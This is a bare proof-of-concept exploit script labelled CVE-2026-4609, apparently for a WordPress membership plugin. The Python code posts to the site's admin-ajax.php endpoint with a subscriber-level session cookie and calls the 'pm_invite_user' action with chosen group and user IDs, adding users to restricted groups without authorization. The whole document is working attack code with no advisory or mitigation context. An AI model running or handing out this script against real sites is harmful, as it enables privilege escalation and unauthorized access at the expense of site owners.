CVE-2026-4609

import requests # Target URL (WordPress AJAX endpoint) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker session cookie (Subscriber level) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_value_here" } # Exploit payload # group_id: Target group ID (e.g., premium group) # user_id: User ID to add (attacker's ID or victim's ID) payload = { "action": "pm_invite_user", "group_id": "2", "user_id": "1" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check group membership.") else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] Error:", e)

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